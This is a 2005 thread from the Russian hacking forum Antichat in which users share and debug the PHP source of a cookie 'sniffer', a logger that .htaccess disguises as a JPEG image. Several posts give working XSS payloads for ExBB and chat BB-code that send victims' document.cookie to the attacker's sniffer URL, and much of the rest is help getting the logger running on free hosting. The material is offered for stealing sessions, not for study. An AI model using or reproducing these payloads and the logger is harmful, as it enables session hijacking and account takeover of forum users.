Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   ИСХОДНИК php СНИФЕРА (https://forum.antichat.xyz/showthread.php?t=5422)

(-=util=-) 12.03.2005 20:00

ИСХОДНИК php СНИФЕРА
 
СКАЧАТЬ

Вот мой снифер. Вполне нормальный)))

P.S. Хостинг с поддержкой
php
ftp
.htaccess
Незабудте установить соответствующие chmod для файлов log и me.jpg =) Если вы всёравно ничего непоняли то лучше пользуйтесь античатовским )))

(-=util=-) 13.03.2005 21:57

обаНааа.. забыл одно. Со снифером всё понтово. Вот подскажите как установить вывод энного числа последних записей в логе. :D

Вот сн
PHP код:

<?php
$date
=date("[D|d/m/Y|H:i]");
$ip=$_SERVER["REMOTE_ADDR"];
$query=$_SERVER["QUERY_STRING"];
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$otkuda=getenv("HTTP_REFERER");
$browser=getenv("HTTP_USER_AGENT");
$win=getenv("windir");
$fp=fopen("log.html","a");
$mlength=5;
fputs($fp,"<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>");
fclose($fp);
print (
" <img src='2.jpg'> ");
?>

Спа... :)

PEPSICOLA 13.03.2005 22:38

Спасибо, щас попробую твой :)

rsha1988 13.03.2005 22:54

Блин, большое спассибо!!!
Теперь и в чате со свои сниффером могу сидеть!!!
Классно!

rsha1988 13.03.2005 23:06

Чето на fatal.ru работать не хочет

rsha1988 13.03.2005 23:22

Работает он только с IPB
а с ExBB 1.9 отказываеться...

(-=util=-) 13.03.2005 23:25

У меня на фатале половина скриптов непашет =) А скажи как ты пихал в эксББ ..

rsha1988 13.03.2005 23:30

\
Код:

ExBB 1.9 http://"z=''style='background:url(javascript:document.ima ges[0].src="http:/********.fatal.ru/**/me.jpg?"+document.cookie)'

rsha1988 13.03.2005 23:34

И на платном хосте тоже не пашет!(

(-=util=-) 13.03.2005 23:36

умнда... :) А античатовский пашет?

rsha1988 13.03.2005 23:55

Там теги [ Img }кудато пропали....
Античатовский пашет и тот который ты тогда давал - он тоже пашет!

(-=util=-) 14.03.2005 00:10

всмысле форум патченый получается? :)

rsha1988 14.03.2005 00:17

не, другой сниффер работает там а этот нет....

rsha1988 14.03.2005 00:33

Может я права не правильно поставил...так как у тя еа сайте снифер работает...
Log - 777
me.jpg - 777
сама папка 755
и остальное 644
Может на .htaccess другие права нужны?

(-=util=-) 14.03.2005 01:03

ща поматрю чё у меня

(-=util=-) 14.03.2005 01:06

log 666
me.jpg 644
папка 755

вот такая у меня батва :\

rsha1988 14.03.2005 01:23

Так, понятно - на фатале работать не будит!(
Есть у меня платный хостинг, поставил я на него и пишет мне:
-"Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, webmaster@.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request."-
__________________________________________________ ______________________
Что надо вписать в апаче чтоб этого небыло?

rsha1988 14.03.2005 01:39

Ты не повериш - на самом отстойном хостинге (fatal.ru) эт наконецто заработало!
Только не понятно из за чего ))

(-=util=-) 14.03.2005 03:07

8)))) испугался наверно =)

(-=util=-) 14.03.2005 10:37

Возвращаюсь с вопросом к программерам =) Обратите внимание на мой пост #2 в этом топике. Как ограничеть кол-во последних записей в логфайле?? =)

Trinux 14.03.2005 11:04

Что значит ограничить? Чтобы файл содержал только 10 последних записей?Тогда примерно так
<?
$f1=file($_SERVER['DOCUMENT_ROOT'].'/log.txt');
$f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>";
$f2=fopen($_SERVER['DOCUMENT_ROOT'].'/log.txt', 'w');
for($i=count($f1);$i>count($f1)-10;$i--){
fwrite($f2, $f1[$i]."\n");
}
fclose($f);
?>

(-=util=-) 14.03.2005 15:28

хмм... Вот что получается

Warning: fwrite(): supplied argument is not a valid stream resource in....

Гдето ошибка. Редактор говорит что тут
начинается...

for($i=count($f1);$i>count($f1)-10;$i--){
fwrite($f2, $f1[$i]."\n");
}
fclose($f);
?>

(-=util=-) 14.03.2005 16:11

В общем это непашет =\

PHP код:

<?
$date
=date("[D|d/m/Y|H:i]");
$ip=$_SERVER["REMOTE_ADDR"];
$query=$_SERVER["QUERY_STRING"];
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$otkuda=getenv("HTTP_REFERER");
$browser=getenv("HTTP_USER_AGENT");
$win=getenv("windir");
$f1=file($_SERVER["DOCUMENT_ROOT"]."log.html");
$f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>";
$f2=fopen($_SERVER["DOCUMENT_ROOT"]."log.html""w");
for(
$i=count($f1);$i>count($f1)-10;$i--)
{
fwrite ($f2$f1[$i]."\n");
}
fclose ($f);
print (
" <img src='2.jpg'> ");
?>


Trinux 14.03.2005 16:25

Не
$f1=file($_SERVER["DOCUMENT_ROOT"]."log.html");
а
$f1=file($_SERVER["DOCUMENT_ROOT"]."/log.html");

и вообще в следующий раз хоть ошибку выкинь =)

(-=util=-) 14.03.2005 17:37

fclose($f); -- это тоже неправильно :) fclose($f2); -- это правильно :) И оказывается надо указать путь к лог файлу относительно коренного каталога сайта... :eek:
Но выводит одну последнюю запись.
Теперь вот что получилось и без ошибок:
PHP код:

<? 
// переменные пропускаю
$f1=file($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html"); 
$f1[]="<font color=#009900><b>Date:</b> $date</font>\t|$uid|\t<font color=red><b>IP:</b> $ip <b>Real IP(if use proxy):</b>($real_ip)</font><br>\t<font color=red><b>QUERY:</b></font>$query\t<br>$browser\t<br><font color=red><b>REFERER:</b></font>$otkuda\t$win\n<hr color=#666666>"
$f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html""w"); 
for(
$i=count($f1);$i>count($f1)-10;$i--) 

fwrite ($f2$f1[$i]."\n"); 

fclose($f2);
print (
" <img src='2.jpg'> ");
?>


rsha1988 14.03.2005 19:28

А в картинку этот код переделать можно или нет?

(-=util=-) 14.03.2005 19:54

дык для этого там файл и есть .htaccess который интерпретирует картинку как скрипт php :)

rsha1988 14.03.2005 20:12

В чате SP CHAT - php картинка не работатет....

rsha1988 14.03.2005 20:15

Ну тоесть этот код:
\x3cimg src="http\x3a//******.fatal.ru/*****me.php" name="imaga"\x3e
перестает работать если формать файла будит php...

(-=util=-) 14.03.2005 20:28

ненадо me.php переименуй в me.jpg и всёравно будет пахать =) Всё дело в .htaccess :) Если поддержка на хостинге есть то ок всё. Меняй смело расширение :)

rsha1988 14.03.2005 22:23

Fatal.ru - бесит!!!!!!
arning: file(): Unable to access /www/onelinetoolz/sn/log.html in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 3
Warning: file(/www/onelinetoolz/sn/log.html): failed to open stream: No such file or directory in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 3
Warning: fopen(): SAFE MODE Restriction in effect. The script whose uid is 73095 is not allowed to access /www owned by uid 0 in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 5
Warning: fopen(/www/site/sniffer/log.html): failed to open stream: No such file or directory in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 5
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fwrite(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 8
Warning: fclose(): supplied argument is not a valid stream resource in /www2/s/sa/salogta.fatal.ru/site/sniffer/me.jpg on line 10

(-=util=-) 15.03.2005 00:58

заваливайся ко мне в аську :)

Trinux 15.03.2005 01:09

Епта =) rsha1988 =) chmod 0666 log.html =)))

(-=util=-) 15.03.2005 01:33

Епта а у меня так снифер и ламирит вместе сомной. только последнй 1 выводит. ;)

(-=util=-) 15.03.2005 03:21

Мужики... ! Херовато получается =) Каждая запись ложится поверх (затирая) предыдущей. т.е. в логах остаётся только одна последняя... я незнаю чё делать. Я наверно достал =).

Trinux 15.03.2005 03:31

Блин, ну сделай вместо
$f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html", "w");
for($i=count($f1);$i>count($f1)-10;$i--)
{
fwrite ($f2, $f1[$i]."\n");
}
так например. Неужели самому сложно додуматься
$f2=fopen($_SERVER["DOCUMENT_ROOT"]."/onelinetoolz/sn/log.html", "w");
for($i=count($f1);$i>count($f1)-10;$i--) {
$f3=$f3."\n".$f1[$i];
}
fwrite ($f2, $f3."\n");

PEPSICOLA 19.03.2005 09:46

(-=util=-), спасибо тебе большооооое за сниффер! =)
Кстати уже есть возможность выборочного удаления?

sosk4 19.03.2005 10:36

Когда открываешь файл, то делай не W а а+ тогда затирать не будет...

Trinux 19.03.2005 11:05

2 sosk4
Умник, сказано же, нужно оставлять только 10 последних. И причем тут 'a+'? Ты сущность символа '+' после 'a' знаешь?

RetRon 19.03.2005 15:59

Народ скажите как устанавливаеться сниффер

просто скинуть sn в корневую дерикторию?

www.ХОСТ.ru/sn/index.html

поменять строку

print (" <img src='2.jpg'> ");

на

print (" <img src='www.ХОСТ.ru/2.jpg'> ");

и все?

а Xss будет

[ Email=mailto:assss@wew.ew ]sssssss[/EMAIL]' style='background:url(javaSCript:document.images[1].scr="http://www.ХОСТ.ru/sn/me.jpg?k:"+document.cookie)'


Время: 15:58